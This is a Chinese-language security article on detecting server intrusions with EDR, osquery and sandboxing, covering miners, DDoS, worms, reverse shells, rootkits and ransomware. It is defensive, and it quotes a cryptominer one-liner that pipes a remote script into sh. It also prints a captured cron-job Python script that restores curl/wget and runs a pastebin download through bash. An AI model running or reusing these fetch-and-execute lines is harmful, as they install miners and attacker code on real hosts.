企業(yè)IT架構(gòu)數(shù)字化轉(zhuǎn)型的大潮中,往往會(huì)面臨各種各樣的安全威脅,包括:系統(tǒng)和應(yīng)用軟件漏洞利用攻擊,APT攻擊,數(shù)據(jù)泄露,云服務(wù)器濫用,DDoS攻擊等。同時(shí)為了應(yīng)對(duì)速度越來越快的網(wǎng)絡(luò)犯罪攻擊,以及針對(duì)性攻擊的多態(tài)化。為我們安全人員提出了更高的要求。
在做應(yīng)急響應(yīng)安全事件過程的過程中,確認(rèn)攻擊痕跡一般從以下幾個(gè)方面:
0x01、服務(wù)器安全告警
在態(tài)勢(shì)感知產(chǎn)品中,在服務(wù)器上部署EDR終端是一個(gè)很好的服務(wù)器安全量化的一個(gè)過程。因?yàn)槲覀冊(cè)诜?wù)器上可以收集進(jìn)程、端口、賬號(hào)、軟件以及文件目錄基礎(chǔ)的安全數(shù)據(jù)。通過這些基礎(chǔ)數(shù)據(jù)通過后臺(tái)大數(shù)據(jù)分析加工形成我們感知到威脅。
本篇主要從服務(wù)器端做檢測(cè),服務(wù)器端檢測(cè)有以下優(yōu)勢(shì):
- 單純的網(wǎng)絡(luò)層威脅檢測(cè)無法和終端數(shù)據(jù)聯(lián)動(dòng),形成的證據(jù)鏈可信度低。
- 加密連接,通過SSL的bash反連等,無法通過網(wǎng)絡(luò)檢測(cè),需要深度學(xué)習(xí)檢測(cè),檢測(cè)成本過高。
- threat hunting需求,可以更深入調(diào)查,包括獲取惡意程序。
那么我們先從入侵行為分析開始:
- 失陷主機(jī)
檢測(cè)思路:需要收集服務(wù)器端基礎(chǔ)數(shù)據(jù): 實(shí)時(shí)網(wǎng)絡(luò)連接數(shù)據(jù),同時(shí)需要商業(yè)威脅情報(bào)數(shù)據(jù)源。
實(shí)時(shí)網(wǎng)絡(luò)連接數(shù)據(jù),實(shí)驗(yàn)環(huán)境搭建:通過kolide+osquery+ElasticSearch+kibana。
實(shí)現(xiàn)步驟:
1、從服務(wù)器端獲取基礎(chǔ)外聯(lián)網(wǎng)絡(luò)數(shù)據(jù)。
2、通過flink或者spark streaming做實(shí)時(shí)Top進(jìn)程、Top外聯(lián)IP統(tǒng)計(jì),分析所有服務(wù)器上傳的外聯(lián)孤島數(shù)據(jù),也可以編輯規(guī)則重點(diǎn)監(jiān)控下載應(yīng)用程序,或者下載對(duì)端的應(yīng)用如果是HFS服務(wù)。需要重點(diǎn)關(guān)注。當(dāng)然這里可以玩的playbook很多,需要用戶自己挖掘。
3、從中獲取到應(yīng)有程序路徑、對(duì)外連接IP信息,以及端口。通過IP地址查詢威脅情報(bào),如果對(duì)端IP地址使用的C2、Tor、VPN、SS等地址視為失陷主機(jī)。態(tài)勢(shì)感知——服務(wù)器安全策略探索
- 對(duì)外可疑連接
檢測(cè)思路:這里主要是增加內(nèi)容特征,比如說:上傳設(shè)備基本信息、發(fā)送攻擊指令、獲取公網(wǎng)IP地址、黑客攻擊連接等。服務(wù)器端需要把惡意程序上傳云查殺或者云沙箱做深入檢測(cè)。
實(shí)驗(yàn)環(huán)境:Malice(支持Yara+多殺毒引擎集成+virustotal)+ClamAV +ElasticSearch+kibana。
IDS檢測(cè)規(guī)則完善:
當(dāng)然需要一個(gè)安全Team維護(hù)這個(gè)規(guī)則。
檢測(cè)流程:
1、通過IDS檢測(cè)到對(duì)外連接。
2、通過網(wǎng)絡(luò)通訊進(jìn)程關(guān)聯(lián)到文件。
3、上傳文件到云查殺系統(tǒng)中檢測(cè)。如果發(fā)現(xiàn)病毒告警。
- 對(duì)外DDoS
檢測(cè)思路:通過獲取實(shí)時(shí)進(jìn)程快照,網(wǎng)絡(luò)對(duì)外連接快照,網(wǎng)絡(luò)層獲取其流量信息,同時(shí)也上傳對(duì)應(yīng)的進(jìn)程文件到云查殺和云沙箱檢測(cè)。在網(wǎng)絡(luò)層檢測(cè)通過IDS規(guī)則檢測(cè)到對(duì)外DDoS攻擊最多為:NTP反射攻擊、memcache反射攻擊。但是在服務(wù)器端檢測(cè)會(huì)發(fā)現(xiàn)更多攻擊方式,例如:CC攻擊、SIP協(xié)議攻擊、視頻協(xié)議攻擊、SYN Flood、ACK Flood等。當(dāng)然需要客戶端抓包進(jìn)一步確認(rèn)。
檢測(cè)流程:
1、獲取進(jìn)程快照,網(wǎng)絡(luò)對(duì)外連接快照,對(duì)外連接網(wǎng)絡(luò)流量(需要驅(qū)動(dòng)支持)或者獲取總流量。
2、執(zhí)行抓包程序,采集服務(wù)器端Pcap包,上傳Pcap包樣本到服務(wù)器端。
3、通過各種DDoS攻擊規(guī)則過濾,如果發(fā)現(xiàn)預(yù)定的攻擊類型。
- 挖礦檢測(cè)
檢測(cè)思路:特征是CPU占用率過高。通過上傳進(jìn)程快照,同時(shí)獲取類似top命令CPU占用率信息。可以確定挖礦進(jìn)程。當(dāng)然還有 /bin/sh -c /usr/bin/curl -sL https://xmr.tgywl.cn|sh 直接挖礦。
檢測(cè)流程:
1、獲取進(jìn)程快照,CPU占用率信息。
2、多次CPU占率過高的進(jìn)程聚合。
3、上傳文件到云查殺系統(tǒng)中檢測(cè)。如果發(fā)現(xiàn)病毒告警。
4、復(fù)查各個(gè)端口被入侵的痕跡,如果產(chǎn)生以下攻擊告警,需要大數(shù)據(jù)關(guān)聯(lián)分析(flink or spark streaming)。
- 對(duì)外爆破
檢測(cè)思路:關(guān)聯(lián)網(wǎng)絡(luò)層檢測(cè)和服務(wù)器端檢測(cè)相關(guān)進(jìn)程。
檢測(cè)流程:
1、獲取進(jìn)程快照,對(duì)外網(wǎng)絡(luò)連接快照。
2、獲取網(wǎng)絡(luò)層面各種協(xié)議的暴力破解告警。
3、使用flink or spark streaming 做大數(shù)據(jù)關(guān)聯(lián)分析。
- 蠕蟲病毒
檢測(cè)思路:如果存在對(duì)外掃描功能,通過大數(shù)據(jù)分析網(wǎng)絡(luò)連接,短時(shí)間內(nèi)過多連接視為可疑。
檢測(cè)流程:
1、獲取進(jìn)程快照,對(duì)外網(wǎng)絡(luò)連接快照。
2、獲取網(wǎng)絡(luò)層面對(duì)外可疑連接告警。
3、上傳文件到云查殺系統(tǒng)中檢測(cè)。進(jìn)一步分析,發(fā)現(xiàn)病毒標(biāo)記為蠕蟲病毒告警。
- 反彈shell
檢測(cè)思路:sh或者bash運(yùn)行打開遠(yuǎn)程連接,視為反彈shell。
檢測(cè)流程:
1、獲取進(jìn)程快照,對(duì)外網(wǎng)絡(luò)連接快照。
2、查詢語句。
- "behavioral_reverse_shell": {
- "query" : "SELECT DISTINCT(processes.pid), processes.parent, processes.name, processes.path, processes.cmdline, processes.cwd, processes.root, processes.uid, processes.gid, processes.start_time, process_open_sockets.remote_address, process_open_sockets.remote_port, (SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline FROM processes JOIN process_open_sockets USING (pid) LEFT OUTER JOIN process_open_files ON processes.pid = process_open_files.pid WHERE (name='sh' OR name='bash') AND remote_address NOT IN ('0.0.0.0', '::', '') AND remote_address NOT LIKE '10.%' AND remote_address NOT LIKE '192.168.%';",
- "interval" : 600,
- "description" : "Find shell processes that have open sockets"
- },
- rootkit檢測(cè)
我們先看一個(gè)入侵案例,以下腳本是用戶放到定時(shí)任務(wù)中的經(jīng)過base64加密的腳本,通過替換curl、wget實(shí)現(xiàn)進(jìn)程網(wǎng)絡(luò)通訊隱藏的目的。
- import os
- import os.path
- def GetDeps():
- if os.path.isfile('/usr/bin/url'):
- os.system("mv /usr/bin/url /usr/bin/curl")
- os.system("chmod 777 /usr/bin/curl")
- os.system("chmod +x /usr/bin/curl")
- if os.path.isfile('/usr/bin/get'):
- os.system("mv /usr/bin/get /usr/bin/wget")
- os.system("chmod 777 /usr/bin/wget")
- os.system("chmod +x /usr/bin/wget")
- if not os.path.isfile('/usr/bin/wget'):
- os.system("yum clean all")
- os.system("yum -y install wget")
- os.system("apt-get update")
- os.system("apt-get -y install wget")
- if not os.path.isfile('/usr/bin/curl'):
- os.system("yum clean all")
- os.system("yum -y install curl")
- os.system("apt-get update")
- os.system("apt-get -y install wget")
- if os.getuid()==0:
- GetDeps()
- os.system("(curl -fsSL https://pastebin.com/raw/JuBCmASZ||wget -q -O- https://pastebin.com/raw/JuBCmASZ)|bash%7Cbash)")
由于存在我們安裝的服務(wù)器以前中過rootkit程序的情況。
檢測(cè)流程
1、需要從遠(yuǎn)程下載wget\curl\ps\ls\netstat\ss等網(wǎng)絡(luò)和文件檢測(cè)工具
2、與本地對(duì)應(yīng)的文件做對(duì)比檢測(cè)找到diff。
3、如果存在Diff,證明存在rootkit的惡意行為,告警。
- 勒索軟件
檢測(cè)思路:
1、上傳文件創(chuàng)建基礎(chǔ)數(shù)據(jù)信息、上傳進(jìn)程快照信息。
2、統(tǒng)計(jì)平時(shí)文件創(chuàng)建數(shù)據(jù),設(shè)置動(dòng)態(tài)基礎(chǔ)數(shù)據(jù)基線。
3、如果單臺(tái)服務(wù)器創(chuàng)建量超出平時(shí)2倍以上,需要把對(duì)應(yīng)的文件上傳到云查殺分析,如果發(fā)現(xiàn)勒索軟件病毒標(biāo)簽告警。
0x03、總結(jié)
服務(wù)器安全檢測(cè)是一項(xiàng)非常繁瑣,并且特殊情況比較多的工作,需要這些檢測(cè)規(guī)則和手段自動(dòng)化成威脅模型。同時(shí),人工threat huning結(jié)果也要不斷加入,形成正向反饋,良性循環(huán)。